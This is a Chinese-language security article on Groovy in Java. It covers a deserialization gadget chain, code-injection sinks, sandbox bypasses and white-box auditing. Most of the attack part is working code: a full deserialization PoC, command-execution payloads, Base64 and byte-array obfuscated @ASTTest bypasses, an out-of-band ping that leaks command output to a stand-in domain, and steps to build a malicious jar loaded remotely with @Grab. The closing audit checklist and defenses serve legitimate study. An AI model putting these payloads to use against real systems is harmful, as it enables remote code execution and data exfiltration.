Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
字数 948 2025-08-25 22:58:20
Groovy组件安全研究:从反序列化到命令注入及防御
1. Groovy反序列化漏洞分析
1.1 漏洞影响范围
- 受影响的Groovy版本:1.7.0至2.4.3
1.2 漏洞利用链
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()
1.3 漏洞利用代码示例
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.*;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception {
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception {
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),
new Class[]{Map.class}, convertedClosure);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
String serialize = serialize(invocationHandler);
System.out.println(serialize);
unserialize(serialize);
}
}
2. Groovy代码注入漏洞
2.1 漏洞条件
- 外部可控输入Groovy代码
- 可上传恶意Groovy脚本
- 程序未对输入进行有效过滤
2.2 命令执行方法
// 基本执行方式
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显方式
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"
2.3 注入点分析
2.3.1 MethodClosure
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
2.3.2 GroovyShell
// 直接执行Groovy代码
GroovyShell shell = new GroovyShell();
shell.evaluate("\'calc\'.execute()");
// 加载本地脚本
GroovyShell shell = new GroovyShell();
shell.evaluate(new File("path/to/script.groovy"));
// 加载远程脚本
GroovyShell shell = new GroovyShell();
shell.evaluate(new URI("http://example.com/script.groovy"));
2.3.3 GroovyScriptEngine
// 本地脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("path/to/scripts");
scriptEngine.run("script.groovy", "");
// 远程脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://example.com/");
scriptEngine.run("script.groovy", "");
2.3.4 GroovyClassLoader
// 从文件加载
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass(new File("script.groovy"));
GroovyObject object = (GroovyObject) aClass.newInstance();
object.invokeMethod("main", "");
// 从文本加载
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass("class Test { static void main(args){ 'calc'.execute() } }");
GroovyObject groovyObject = (GroovyObject) aClass.newInstance();
groovyObject.invokeMethod("main", "");
2.3.5 ScriptEngine
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
scriptEngine.eval("\"whoami\".execute().text");
3. 绕过技术
3.1 反射+字符串拼接
Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
Method gr = rt.getMethod("getR" + "untime");
Method ex = rt.getMethod("ex" + "ec", String.class);
ex.invoke(gr.invoke(null), "ca" + "lc");
3.2 Groovy沙箱绕过
3.2.1 @AST注解执行断言
this.class.classLoader.parseClass("""
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
""")
// OOB示例
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".example.com";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
3.2.2 Base64编码绕过
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))
3.2.3 字节数组绕过
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
3.3 @Grab注解加载远程恶意类
3.3.1 依赖要求
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
3.3.2 POC
this.class.classLoader.parseClass("""
@GrabConfig(disableChecksums=true)
@GrabResolver(name="Poc", root="http://127.0.0.1:8888/")
@Grab(group="Poc", module="EvilJar", version="0")
import java.lang.String
""");
3.3.3 恶意Jar构建步骤
- 创建恶意类Poc.java:
public class Poc {
Poc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
- 编译并打包:
javac Poc.java
mkdir -p META-INF/services/
echo Poc > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf module-version.jar Poc.class META-INF/
mkdir -p group/module/version/
mv module-version.jar group/module/version/
4. 白盒排查方法
4.1 关键类函数特征
| 关键类 | 关键函数 |
|---|---|
| groovy.lang.GroovyShell | evaluate |
| groovy.util.GroovyScriptEngine | run |
| groovy.lang.GroovyClassLoader | parseClass |
| javax.script.ScriptEngine | eval |
4.2 排查要点
- 检查项目中是否使用了Groovy组件
- 检查Groovy版本是否在受影响范围内(1.7.0-2.4.3)
- 检查是否有用户可控的Groovy代码输入点
- 检查是否有Groovy脚本上传功能且未做安全过滤
- 检查是否使用了不安全的反序列化操作
5. 防御建议
- 升级Groovy到最新安全版本
- 对用户输入的Groovy代码进行严格过滤
- 禁用不必要的Groovy功能
- 实施沙箱环境限制Groovy执行权限
- 避免使用不安全的反序列化操作
- 对Groovy脚本上传功能实施严格的安全检查
- 使用安全框架对Groovy执行进行监控和限制